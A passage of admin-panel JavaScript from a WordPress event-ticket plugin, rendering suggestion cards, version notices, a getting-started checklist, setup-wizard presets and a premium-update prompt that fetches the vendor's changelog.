				&#039;.saso-ctx-btn-dismiss{color:#646970!important;text-decoration:none!important;}&#039;
			).appendTo(&#039;head&#039;);
		}

		var wrap = $(&#039;&lt;div class=&quot;saso-context-suggestions&quot;/&gt;&#039;);

		active.forEach(function(s) {
			var msg = __getSuggestionMessage(s.id);
			var card = $(&#039;&lt;div class=&quot;saso-ctx-card&quot; data-suggestion-id=&quot;&#039; + s.id + &#039;&quot;/&gt;&#039;);

			var body = $(&#039;&lt;div class=&quot;saso-ctx-body&quot;/&gt;&#039;);
			$(&#039;&lt;span class=&quot;saso-ctx-icon dashicons dashicons-lightbulb&quot;/&gt;&#039;).appendTo(body);
			var textWrap = $(&#039;&lt;div class=&quot;saso-ctx-text&quot;/&gt;&#039;).appendTo(body);
			$(&#039;&lt;div class=&quot;saso-ctx-context&quot;/&gt;&#039;).text(msg.context).appendTo(textWrap);
			$(&#039;&lt;div class=&quot;saso-ctx-question&quot;/&gt;&#039;).text(msg.question).appendTo(textWrap);
			card.append(body);

			var btnWrap = $(&#039;&lt;div class=&quot;saso-ctx-buttons&quot;/&gt;&#039;);

			$(&#039;&lt;button class=&quot;button button-primary button-small&quot;/&gt;&#039;)
				.text(__(&#039;Yes, enable&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
				.on(&#039;click&#039;, function() {
					_makePost(&#039;changeOption&#039;, {&#039;key&#039;: s.targetKey, &#039;value&#039;: s.targetVal}, function() {
						if (OPTIONS.mapKeys[s.targetKey]) {
							OPTIONS.mapKeys[s.targetKey].value = s.targetVal;
						}
						_sessionDismissedSuggestions.push(s.id);
						card.slideUp(300, function() {
							card.remove();
							var optionRow = $(&#039;[data-key=&quot;&#039; + s.targetKey + &#039;&quot;]&#039;).closest(&#039;div&#039;);
							if (optionRow.length) {
								optionRow.css(&#039;background-color&#039;, &#039;#e7f5e7&#039;);
								setTimeout(function() { optionRow.css(&#039;background-color&#039;, &#039;&#039;); }, 2000);
							}
							__renderContextSuggestions(container);
						});
					});
				}).appendTo(btnWrap);

			$(&#039;&lt;button class=&quot;button button-secondary button-small&quot;/&gt;&#039;)
				.text(__(&#039;No thanks&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
				.on(&#039;click&#039;, function() {
					_sessionDismissedSuggestions.push(s.id);
					card.slideUp(300, function() { card.remove(); __renderContextSuggestions(container); });
				}).appendTo(btnWrap);

			$(&#039;&lt;button class=&quot;button button-link button-small saso-ctx-btn-dismiss&quot;/&gt;&#039;)
				.text(__(&quot;Don&#039;t ask again&quot;, &#039;event-tickets-with-ticket-scanner&#039;))
				.on(&#039;click&#039;, function() {
					_makePost(&#039;dismissSuggestion&#039;, {suggestion_id: s.id}, function() {
						if (!OPTIONS.dismissed_suggestions) OPTIONS.dismissed_suggestions = [];
						OPTIONS.dismissed_suggestions.push(s.id);
						card.slideUp(300, function() { card.remove(); __renderContextSuggestions(container); });
					});
				}).appendTo(btnWrap);

			card.append(btnWrap);
			wrap.append(card);
		});

		container.prepend(wrap);
	}

	// ── End Context-Wizards ──

	// ── Version Notices (&quot;What&#039;s New&quot;) ──

	function __showVersionNotices() {
		var seenVersion = _getOptions_getValByKey(&#039;versionNoticeSeen&#039;);
		var currentVersion = myAjax._plugin_version;
		if (seenVersion === currentVersion) return null;

		var notices = myAjax._versionNotices;
		if (!notices || !Array.isArray(notices) || notices.length === 0) return null;

		var typeColors = {
			&#039;feature&#039;: {border: &#039;#0071e3&#039;, bg: &#039;#eef4ff&#039;, icon: &#039;&amp;#9733;&#039;, iconColor: &#039;#0071e3&#039;},
			&#039;info&#039;:    {border: &#039;#6b7280&#039;, bg: &#039;#f9fafb&#039;, icon: &#039;&amp;#8505;&#039;, iconColor: &#039;#6b7280&#039;},
			&#039;warning&#039;: {border: &#039;#d97706&#039;, bg: &#039;#fffbeb&#039;, icon: &#039;&amp;#9888;&#039;, iconColor: &#039;#d97706&#039;}
		};

		var wrap = $(&#039;&lt;div class=&quot;et-version-notices&quot;/&gt;&#039;);

		if (!$(&#039;#et-version-notices-styles&#039;).length) {
			$(&#039;&lt;style id=&quot;et-version-notices-styles&quot;/&gt;&#039;).text(
				&#039;.et-version-notices{margin:15px 0 20px 0;}&#039; +
				&#039;.et-vn-card{background:#fff;border:1px solid #c3c4c7;padding:16px 20px;margin-bottom:10px;border-radius:6px;box-shadow:0 1px 1px rgba(0,0,0,.04);}&#039; +
				&#039;.et-vn-body{display:flex;align-items:flex-start;gap:12px;}&#039; +
				&#039;.et-vn-icon{font-size:20px;flex-shrink:0;margin-top:1px;}&#039; +
				&#039;.et-vn-text{flex:1;}&#039; +
				&#039;.et-vn-title{font-size:14px;font-weight:600;color:#1d2327;margin-bottom:3px;}&#039; +
				&#039;.et-vn-msg{font-size:13px;color:#50575e;line-height:1.5;}&#039; +
				&#039;.et-vn-link{font-size:13px;margin-left:4px;}&#039; +
				&#039;.et-vn-dismiss{margin-top:12px;text-align:right;}&#039; +
				&#039;.et-vn-dismiss-btn{color:#646970!important;text-decoration:none!important;font-size:13px;cursor:pointer;background:none;border:none;}&#039;
			).appendTo(&#039;head&#039;);
		}

		notices.forEach(function(n) {
			var colors = typeColors[n.type] || typeColors.info;
			var card = $(&#039;&lt;div class=&quot;et-vn-card&quot;/&gt;&#039;).css(&#039;border-left&#039;, &#039;4px solid &#039; + colors.border).css(&#039;background&#039;, colors.bg);
			var body = $(&#039;&lt;div class=&quot;et-vn-body&quot;/&gt;&#039;);
			$(&#039;&lt;span class=&quot;et-vn-icon&quot;/&gt;&#039;).html(colors.icon).css(&#039;color&#039;, colors.iconColor).appendTo(body);
			var textWrap = $(&#039;&lt;div class=&quot;et-vn-text&quot;/&gt;&#039;);
			$(&#039;&lt;div class=&quot;et-vn-title&quot;/&gt;&#039;).text(n.title).appendTo(textWrap);
			var msgEl = $(&#039;&lt;div class=&quot;et-vn-msg&quot;/&gt;&#039;).text(n.message);
			if (n.link &amp;&amp; n.linkText) {
				msgEl.append(&#039; &#039;);
				$(&#039;&lt;a class=&quot;et-vn-link&quot;/&gt;&#039;).attr(&#039;href&#039;, n.link).attr(&#039;target&#039;, &#039;_blank&#039;).text(n.linkText + &#039; →&#039;).appendTo(msgEl);
			}
			textWrap.append(msgEl);
			body.append(textWrap);
			card.append(body);
			wrap.append(card);
		});

		var dismissRow = $(&#039;&lt;div class=&quot;et-vn-dismiss&quot;/&gt;&#039;);
		$(&#039;&lt;button class=&quot;et-vn-dismiss-btn&quot;/&gt;&#039;)
			.text(__(&quot;Dismiss&quot;, &#039;event-tickets-with-ticket-scanner&#039;))
			.on(&#039;click&#039;, function() {
				_saveOptionValue(&#039;versionNoticeSeen&#039;, currentVersion, function() {
					wrap.slideUp(300, function() { wrap.remove(); });
				});
			}).appendTo(dismissRow);
		wrap.append(dismissRow);

		return wrap;
	}

	var _firstStepsBox = null;

	function __showFirstSteps() {
		if (!_getOptions_isActivatedByKey(&quot;displayFirstStepsHelp&quot;)) return null;

		let hasTickets = OPTIONS.infos &amp;&amp; OPTIONS.infos.ticket &amp;&amp; OPTIONS.infos.ticket.counter &gt; 0;
		let hasRedeemed = OPTIONS.infos &amp;&amp; OPTIONS.infos.ticket &amp;&amp; OPTIONS.infos.ticket.redeemed_count &gt; 0;
		// DATA_LISTS may not be loaded yet — steps update later via __updateFirstStepsProgress()
		let hasLists = DATA_LISTS &amp;&amp; DATA_LISTS.length &gt; 0;
		let productsUrl = myAjax.url.replace(&#039;admin-ajax.php&#039;, &#039;edit.php?post_type=product&#039;);
		let scannerUrl = myAjax.ticket_url + &#039;scanner/&#039;;

		let steps = [
			{key: &#039;list&#039;,    done: hasLists,    label: __(&#039;Create a ticket list&#039;, &#039;event-tickets-with-ticket-scanner&#039;), desc: __(&#039;Organize your tickets in lists for different events or purposes.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), actionLabel: _x(&#039;View lists&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;), actionType: &#039;scroll&#039;},
			{key: &#039;product&#039;, done: hasTickets,   label: __(&#039;Assign list to a WooCommerce product&#039;, &#039;event-tickets-with-ticket-scanner&#039;), desc: __(&#039;Open a product, go to the Event Ticket tab, and enable ticketing.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), actionLabel: _x(&#039;Go to products&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;), actionType: &#039;link&#039;, actionUrl: productsUrl},
			{key: &#039;order&#039;,   done: hasTickets,   label: __(&#039;Process a test order&#039;, &#039;event-tickets-with-ticket-scanner&#039;), desc: __(&#039;Place an order and complete it to generate tickets.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), actionLabel: &#039;&#039;, actionType: &#039;none&#039;},
			{key: &#039;scan&#039;,    done: hasRedeemed,  label: __(&#039;Scan a ticket at the entrance&#039;, &#039;event-tickets-with-ticket-scanner&#039;), desc: __(&#039;Use the browser-based QR scanner to redeem tickets.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), actionLabel: _x(&#039;Open Scanner&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;), actionType: &#039;link&#039;, actionUrl: scannerUrl}
		];

		let doneCount = steps.filter(s =&gt; s.done).length;

		// --- Build card ---
		let card = $(&#039;&lt;div class=&quot;saso-first-steps-card&quot;/&gt;&#039;);

		// Header with progress
		let header = $(&#039;&lt;div class=&quot;saso-first-steps-header&quot;/&gt;&#039;).appendTo(card);
		$(&#039;&lt;h3/&gt;&#039;).html(_x(&#039;Getting Started&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(header);
		let progressWrap = $(&#039;&lt;div class=&quot;saso-first-steps-progress&quot;/&gt;&#039;).appendTo(header);
		let barOuter = $(&#039;&lt;div class=&quot;saso-first-steps-bar-outer&quot;/&gt;&#039;).appendTo(progressWrap);
		let barInner = $(&#039;&lt;div class=&quot;saso-first-steps-bar-inner&quot;/&gt;&#039;).css(&#039;width&#039;, (doneCount / steps.length * 100) + &#039;%&#039;).appendTo(barOuter);
		let progressLabel = $(&#039;&lt;span class=&quot;saso-first-steps-progress-label&quot;/&gt;&#039;).text(doneCount + &#039;/&#039; + steps.length).appendTo(progressWrap);

		// Steps list
		let stepsList = $(&#039;&lt;div class=&quot;saso-first-steps-list&quot;/&gt;&#039;).appendTo(card);
		steps.forEach((step, i) =&gt; {
			let row = $(&#039;&lt;div class=&quot;saso-first-steps-step&#039; + (step.done ? &#039; done&#039; : &#039;&#039;) + &#039;&quot; data-step=&quot;&#039; + step.key + &#039;&quot;/&gt;&#039;);
			let icon = $(&#039;&lt;span class=&quot;saso-first-steps-icon&quot;/&gt;&#039;).html(step.done ? &#039;&amp;#10003;&#039; : (i + 1)).appendTo(row);
			let content = $(&#039;&lt;div class=&quot;saso-first-steps-content&quot;/&gt;&#039;).appendTo(row);
			$(&#039;&lt;strong/&gt;&#039;).text(step.label).appendTo(content);
			$(&#039;&lt;div class=&quot;saso-first-steps-desc&quot;/&gt;&#039;).text(step.desc).appendTo(content);
			if (step.actionLabel &amp;&amp; !step.done) {
				let btn = $(&#039;&lt;button class=&quot;button button-small&quot;/&gt;&#039;).text(step.actionLabel).appendTo(content);
				if (step.actionType === &#039;scroll&#039;) {
					btn.on(&#039;click&#039;, () =&gt; {
						let target = $(&#039;h3:contains(&quot;&#039; + _x(&#039;List of tickets&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&quot;)&#039;);
						if (target.length) $(&#039;html,body&#039;).animate({scrollTop: target.offset().top - 50}, 400);
					});
				} else if (step.actionType === &#039;link&#039;) {
					btn.on(&#039;click&#039;, () =&gt; window.open(step.actionUrl, &#039;_blank&#039;));
				}
			}
			row.appendTo(stepsList);
		});

		// Videos
		let videosWrap = $(&#039;&lt;div class=&quot;saso-first-steps-videos&quot;/&gt;&#039;).appendTo(card);
		$(getUseFulVideosHTML()).appendTo(videosWrap);

		// Footer with dismiss
		let footer = $(&#039;&lt;div class=&quot;saso-first-steps-footer&quot;/&gt;&#039;).appendTo(card);
		$(&#039;&lt;p/&gt;&#039;).html(__(&#039;If you need help, please contact us via email. The information is in &quot;Support Info&quot; area - button above.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(footer);
		let btn_dont_show = $(&#039;&lt;button class=&quot;button button-secondary button-small&quot;/&gt;&#039;).html(_x(&quot;Don&#039;t show this again&quot;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(footer);
		btn_dont_show.on(&quot;click&quot;, function(){
			_saveOptionValue(&quot;displayFirstStepsHelp&quot;, &quot;0&quot;, ()=&gt;{
				card.slideUp(300, function(){ card.remove(); _firstStepsBox = null; });
			});
		});

		// Inject styles once
		if (!$(&#039;#saso-first-steps-styles&#039;).length) {
			$(&#039;&lt;style id=&quot;saso-first-steps-styles&quot;/&gt;&#039;).text(
				&#039;.saso-first-steps-card{background:#fff;border:1px solid #c3c4c7;border-left:4px solid #2271b1;padding:20px 24px;margin:20px 0;border-radius:4px;box-shadow:0 1px 1px rgba(0,0,0,.04);}&#039; +
				&#039;.saso-first-steps-header{display:flex;align-items:center;justify-content:space-between;margin-bottom:16px;}&#039; +
				&#039;.saso-first-steps-header h3{margin:0;font-size:16px;color:#1d2327;}&#039; +
				&#039;.saso-first-steps-progress{display:flex;align-items:center;gap:10px;}&#039; +
				&#039;.saso-first-steps-bar-outer{width:120px;height:8px;background:#dcdcde;border-radius:4px;overflow:hidden;}&#039; +
				&#039;.saso-first-steps-bar-inner{height:100%;background:#2271b1;border-radius:4px;transition:width .4s ease;}&#039; +
				&#039;.saso-first-steps-progress-label{font-size:13px;color:#646970;font-weight:500;}&#039; +
				&#039;.saso-first-steps-list{display:flex;flex-direction:column;gap:2px;}&#039; +
				&#039;.saso-first-steps-step{display:flex;align-items:flex-start;gap:14px;padding:12px 14px;border-radius:4px;transition:background .15s;}&#039; +
				&#039;.saso-first-steps-step:hover{background:#f6f7f7;}&#039; +
				&#039;.saso-first-steps-icon{flex-shrink:0;width:28px;height:28px;border-radius:50%;display:flex;align-items:center;justify-content:center;font-size:13px;font-weight:600;background:#dcdcde;color:#50575e;}&#039; +
				&#039;.saso-first-steps-step.done .saso-first-steps-icon{background:#00a32a;color:#fff;}&#039; +
				&#039;.saso-first-steps-content{flex:1;min-width:0;}&#039; +
				&#039;.saso-first-steps-content strong{display:block;font-size:14px;color:#1d2327;margin-bottom:2px;}&#039; +
				&#039;.saso-first-steps-step.done .saso-first-steps-content strong{color:#646970;text-decoration:line-through;}&#039; +
				&#039;.saso-first-steps-desc{font-size:13px;color:#646970;margin-bottom:6px;}&#039; +
				&#039;.saso-first-steps-content .button{margin-top:2px;}&#039; +
				&#039;.saso-first-steps-videos{margin-top:14px;padding-top:14px;border-top:1px solid #dcdcde;}&#039; +
				&#039;.saso-first-steps-videos h3{font-size:14px;margin:0 0 6px;}&#039; +
				&#039;.saso-first-steps-videos ul{margin:0 0 0 18px;}&#039; +
				&#039;.saso-first-steps-videos li{margin-bottom:4px;}&#039; +
				&#039;.saso-first-steps-footer{margin-top:14px;padding-top:14px;border-top:1px solid #dcdcde;display:flex;align-items:center;justify-content:space-between;gap:12px;}&#039; +
				&#039;.saso-first-steps-footer p{margin:0;font-size:13px;color:#646970;}&#039;
			).appendTo(&#039;head&#039;);
		}

		_firstStepsBox = card;
		return card;
	}

	function __updateFirstStepsProgress() {
		if (!_firstStepsBox) return;
		let hasLists = DATA_LISTS &amp;&amp; DATA_LISTS.length &gt; 0;
		let hasTickets = OPTIONS.infos &amp;&amp; OPTIONS.infos.ticket &amp;&amp; OPTIONS.infos.ticket.counter &gt; 0;
		let hasRedeemed = OPTIONS.infos &amp;&amp; OPTIONS.infos.ticket &amp;&amp; OPTIONS.infos.ticket.redeemed_count &gt; 0;
		let states = {list: hasLists, product: hasTickets, order: hasTickets, scan: hasRedeemed};
		let doneCount = 0;
		_firstStepsBox.find(&#039;.saso-first-steps-step&#039;).each(function(){
			let key = $(this).data(&#039;step&#039;);
			let done = states[key] || false;
			if (done) doneCount++;
			$(this).toggleClass(&#039;done&#039;, done);
			$(this).find(&#039;.saso-first-steps-icon&#039;).html(done ? &#039;&amp;#10003;&#039; : (Object.keys(states).indexOf(key) + 1));
			if (done) $(this).find(&#039;.button&#039;).hide();
		});
		_firstStepsBox.find(&#039;.saso-first-steps-bar-inner&#039;).css(&#039;width&#039;, (doneCount / 4 * 100) + &#039;%&#039;);
		_firstStepsBox.find(&#039;.saso-first-steps-progress-label&#039;).text(doneCount + &#039;/4&#039;);
	}

	// ============================================================
	// Setup Wizard (#187 Phase 2)
	// ============================================================

	var _wizardPresetQuestions = {
		&#039;event&#039;: [
			{key: &#039;wcTicketDontAllowRedeemTicketBeforeStart&#039;, label: __(&#039;Lock ticket redemption until event starts?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;ticketScannerScanAndRedeemImmediately&#039;, label: __(&#039;Auto-redeem when scanned?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;wcTicketDisplayOrderTicketsViewLinkOnMail&#039;, label: __(&#039;Show &quot;Open Tickets&quot; link in email? All QR codes on one page — ideal for groups.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;wcTicketSetOrderToCompleteIfAllOrderItemsAreTickets&#039;, label: __(&#039;Auto-complete orders when all items are tickets? Tickets are generated immediately.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;walletVollstartEnable&#039;, label: __(&#039;Enable Vollstart Wallet? Customers can collect tickets in the free wallet app.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1}
		],
		&#039;daypass&#039;: [
			{key: &#039;wcTicketAllowRedeemTicketAfterEnd&#039;, label: __(&#039;Allow redemption after closing time?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;ticketScannerScanAndRedeemImmediately&#039;, label: __(&#039;Auto-redeem when scanned?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;wcTicketDisplayOrderTicketsViewLinkOnMail&#039;, label: __(&#039;Show &quot;Open Tickets&quot; link in email? All QR codes on one page — ideal for families.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;wcTicketSetOrderToCompleteIfAllOrderItemsAreTickets&#039;, label: __(&#039;Auto-complete orders when all items are tickets? Tickets are generated immediately.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;walletVollstartEnable&#039;, label: __(&#039;Enable Vollstart Wallet? Customers can collect tickets in the free wallet app.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1}
		],
		&#039;membership&#039;: [
			{key: &#039;wcTicketUserProfileDisplayRedeemAmount&#039;, label: __(&#039;Show redemption counter to customer? E.g. &quot;15 of 30 visits used&quot;&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;wcTicketShowRedeemBtnOnTicket&#039;, label: __(&#039;Show self-redeem button on ticket page? For self-service access.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;ticketScannerScanAndRedeemImmediately&#039;, label: __(&#039;Auto-redeem when scanned? Disable to verify identity first.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 0},
			{key: &#039;walletVollstartEnable&#039;, label: __(&#039;Enable Vollstart Wallet? Customers can collect tickets in the free wallet app.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1}
		],
		&#039;voucher&#039;: [
			{key: &#039;ticketScannerScanAndRedeemImmediately&#039;, label: __(&#039;Auto-redeem when scanned?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;wcTicketShowRedeemBtnOnTicket&#039;, label: __(&#039;Show self-redeem button? Customer redeems the voucher themselves.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1},
			{key: &#039;walletVollstartEnable&#039;, label: __(&#039;Enable Vollstart Wallet? Customers can collect tickets in the free wallet app.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), preset: 1}
		]
	};

	var _wizardUseCases = [
		{key: &#039;event&#039;, icon: &#039;&amp;#127915;&#039;, label: __(&#039;Event tickets&#039;, &#039;event-tickets-with-ticket-scanner&#039;), desc: __(&#039;Concerts, shows, festivals&#039;, &#039;event-tickets-with-ticket-scanner&#039;)},
		{key: &#039;daypass&#039;, icon: &#039;&amp;#127965;&#039;, label: __(&#039;Day passes&#039;, &#039;event-tickets-with-ticket-scanner&#039;), desc: __(&#039;Theme park, zoo, spa&#039;, &#039;event-tickets-with-ticket-scanner&#039;)},
		{key: &#039;membership&#039;, icon: &#039;&amp;#127183;&#039;, label: __(&#039;Memberships / Season passes&#039;, &#039;event-tickets-with-ticket-scanner&#039;), desc: __(&#039;Recurring access&#039;, &#039;event-tickets-with-ticket-scanner&#039;)},
		{key: &#039;voucher&#039;, icon: &#039;&amp;#127873;&#039;, label: __(&#039;Vouchers / Simple codes&#039;, &#039;event-tickets-with-ticket-scanner&#039;), desc: __(&#039;Gift cards, promo codes&#039;, &#039;event-tickets-with-ticket-scanner&#039;)}
	];

	// ── Premium Update Check after serial key entry ──────────────────
	function __checkPremiumUpdateAfterSerial(serialValue) {
		if (!serialValue || serialValue.trim() === &#039;&#039;) return;
		_makePost(&#039;checkPremiumUpdate&#039;, {}, function(r) {
			if (r.hasUpdate) {
				__showPremiumUpdateDialog(r);
			} else {
				__showPremiumReleaseNotesHint();
			}
		});
	}

	function __showPremiumUpdateDialog(updateInfo) {
		let dlg = $(&#039;&lt;div/&gt;&#039;).html(
			&#039;&lt;p&gt;&#039; + __(&#039;A new premium version is available!&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039; +
			&#039;&lt;p&gt;&#039; + sprintf(__(&#039;Version %s is ready to install.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), &#039;&lt;b&gt;&#039; + updateInfo.newVersion + &#039;&lt;/b&gt;&#039;) + &#039;&lt;/p&gt;&#039; +
			&#039;&lt;p&gt;&#039; + __(&#039;Click the button below to update your premium plugin now.&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;
		);
		dlg.dialog({
			title: __(&#039;Premium Plugin Update&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			modal: true,
			width: 450,
			buttons: [{
				text: __(&#039;Update Now&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				class: &#039;button button-primary&#039;,
				click: function() { window.location.href = updateInfo.updateUrl; }
			}, {
				text: __(&#039;Later&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
				class: &#039;button&#039;,
				click: function() { $(this).dialog(&#039;close&#039;); }
			}]
		});
	}

	function __showPremiumReleaseNotesHint() {
		let changelogUrl = &#039;https://vollstart.com/plugins/event-tickets-with-ticket-scanner-premium/changelog.json&#039;;
		let today = new Date().toISOString().slice(0, 10).replace(/-/g, &#039;&#039;);
		fetch(changelogUrl + &#039;?t=&#039; + today)
			.then(function(r) { return r.json(); })
			.then(function(data) {
				if (!data.versions || data.versions.length === 0) return;
				let latest = data.versions[0];
				let html = &#039;&lt;p&gt;&#039; + sprintf(
					__(&#039;Premium version %s is available with new features:&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
					&#039;&lt;b&gt;&#039; + latest.version + &#039;&lt;/b&gt;&#039;
				) + &#039;&lt;/p&gt;&lt;ul&gt;&#039;;
				for (let i = 0; i &lt; latest.changes.length; i++) {
					html += &#039;&lt;li&gt;&#039; + latest.changes[i] + &#039;&lt;/li&gt;&#039;;
				}
				html += &#039;&lt;/ul&gt;&#039;;
				html += &#039;&lt;p&gt;&lt;a href=&quot;https://vollstart.com/event-tickets-with-woocommerce/&quot; target=&quot;_blank&quot; class=&quot;button&quot;&gt;&#039; +
					__(&#039;Learn more&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/a&gt;&lt;/p&gt;&#039;;
				let dlg = $(&#039;&lt;div/&gt;&#039;).html(html);
				dlg.dialog({
					title: __(&#039;New Premium Features Available&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
					modal: false,
					width: 500,
					buttons: [{
						text: __(&#039;Close&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
						class: &#039;button&#039;,
						click: function() { $(this).dialog(&#039;close&#039;); }
					}]
				});
			})
			.catch(function() { /* silently fail */ });
	}

	function __showSetupWizard(force) {
		if (!force) {
			let wizardVal = _getOptions_getValByKey(&#039;wizardCompleted&#039;);
			if (wizardVal &amp;&amp; wizardVal !== &#039;&#039;) return;
		}

		// Inject wizard styles once
		if (!$(&#039;#saso-wizard-styles&#039;).length) {
			$(&#039;&lt;style id=&quot;saso-wizard-styles&quot;/&gt;&#039;).text(
				&#039;.saso-wizard-dialog .ui-dialog-titlebar{background:#2271b1;color:#fff;border:none;border-radius:4px 4px 0 0;padding:12px 16px;}&#039; +
				&#039;.saso-wizard-dialog .ui-dialog-titlebar-close{display:none;}&#039; +
				&#039;.saso-wizard-dialog .ui-dialog-buttonpane{border-top:1px solid #dcdcde;padding:12px 16px;}&#039; +
				&#039;.saso-wizard-dialog .ui-dialog-buttonpane button{margin-left:8px;}&#039; +
				&#039;.saso-wizard{padding:8px 0;min-height:250px;}&#039; +
				&#039;.saso-wizard-steps{display:flex;justify-content:center;gap:8px;margin-bottom:20px;}&#039; +
				&#039;.saso-wizard-step-dot{width:10px;height:10px;border-radius:50%;background:#dcdcde;transition:background .2s;}&#039; +
				&#039;.saso-wizard-step-dot.active{background:#2271b1;}&#039; +
				&#039;.saso-wizard-step-dot.done{background:#00a32a;}&#039; +
				&#039;.saso-wizard-welcome{text-align:center;padding:20px 0;}&#039; +
				&#039;.saso-wizard-welcome h2{font-size:20px;margin:0 0 10px;color:#1d2327;}&#039; +
				&#039;.saso-wizard-welcome p{font-size:14px;color:#646970;margin:0 0 6px;}&#039; +
				&#039;.saso-wizard-usecases{display:grid;grid-template-columns:1fr 1fr;gap:12px;padding:0 4px;}&#039; +
				&#039;.saso-wizard-usecase{border:2px solid #dcdcde;border-radius:8px;padding:16px;cursor:pointer;transition:border-color .15s,background .15s;text-align:center;}&#039; +
				&#039;.saso-wizard-usecase:hover{border-color:#2271b1;background:#f0f6fc;}&#039; +
				&#039;.saso-wizard-usecase.selected{border-color:#2271b1;background:#e7f0f9;}&#039; +
				&#039;.saso-wizard-usecase-icon{font-size:28px;display:block;margin-bottom:6px;}&#039; +
				&#039;.saso-wizard-usecase-label{font-size:14px;font-weight:600;color:#1d2327;display:block;}&#039; +
				&#039;.saso-wizard-usecase-desc{font-size:12px;color:#646970;display:block;margin-top:2px;}&#039; +
				&#039;.saso-wizard-questions{display:flex;flex-direction:column;gap:14px;padding:0 4px;}&#039; +
				&#039;.saso-wizard-question{display:flex;align-items:center;justify-content:space-between;padding:14px 16px;border:1px solid #dcdcde;border-radius:6px;background:#fff;}&#039; +
				&#039;.saso-wizard-question-label{font-size:14px;color:#1d2327;flex:1;padding-right:12px;}&#039; +
				&#039;.saso-wizard-toggle{position:relative;width:44px;height:24px;flex-shrink:0;}&#039; +
				&#039;.saso-wizard-toggle input{opacity:0;width:0;height:0;}&#039; +
				&#039;.saso-wizard-toggle .slider{position:absolute;cursor:pointer;top:0;left:0;right:0;bottom:0;background:#ccc;border-radius:24px;transition:.2s;}&#039; +
				&#039;.saso-wizard-toggle .slider:before{content:&quot;&quot;;position:absolute;height:18px;width:18px;left:3px;bottom:3px;background:#fff;border-radius:50%;transition:.2s;}&#039; +
				&#039;.saso-wizard-toggle input:checked + .slider{background:#2271b1;}&#039; +
				&#039;.saso-wizard-toggle input:checked + .slider:before{transform:translateX(20px);}&#039; +
				&#039;.saso-wizard-done{text-align:center;padding:20px 0;}&#039; +
				&#039;.saso-wizard-done-icon{font-size:48px;color:#00a32a;display:block;margin-bottom:10px;}&#039; +
				&#039;.saso-wizard-done h2{font-size:20px;margin:0 0 10px;color:#1d2327;}&#039; +
				&#039;.saso-wizard-done p{font-size:14px;color:#646970;margin:0 0 6px;}&#039; +
				&#039;.saso-wizard-done-steps{text-align:left;margin:16px auto;max-width:320px;}&#039; +
				&#039;.saso-wizard-done-steps li{font-size:13px;color:#1d2327;margin-bottom:4px;}&#039; +
				&#039;.saso-wizard-tip{margin-top:14px;padding:12px 14px;background:#f0f6fc;border:1px solid #c3c4c7;border-left:3px solid #2271b1;border-radius:4px;font-size:13px;color:#1d2327;}&#039; +
				&#039;.saso-wizard-tip strong{display:block;margin-bottom:4px;}&#039; +
				&#039;.saso-wizard-tip span{color:#646970;}&#039;
			).appendTo(&#039;head&#039;);
		}

		var currentStep = 1;
		var selectedPreset = &#039;&#039;;
		var overrides = {};

		var dlg = $(&#039;&lt;div class=&quot;saso-wizard&quot;/&gt;&#039;);

		function renderStepDots() {
			var dots = $(&#039;&lt;div class=&quot;saso-wizard-steps&quot;/&gt;&#039;);
			for (var i = 1; i &lt;= 4; i++) {
				var cls = &#039;saso-wizard-step-dot&#039;;
				if (i &lt; currentStep) cls += &#039; done&#039;;
				if (i === currentStep) cls += &#039; active&#039;;
				$(&#039;&lt;span/&gt;&#039;).addClass(cls).appendTo(dots);
			}
			return dots;
		}

		function renderStep() {
			dlg.empty();
			dlg.append(renderStepDots());

			if (currentStep === 1) {
				var welcome = $(&#039;&lt;div class=&quot;saso-wizard-welcome&quot;/&gt;&#039;);
				$(&#039;&lt;h2/&gt;&#039;).text(__(&#039;Welcome to Event Tickets!&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(welcome);
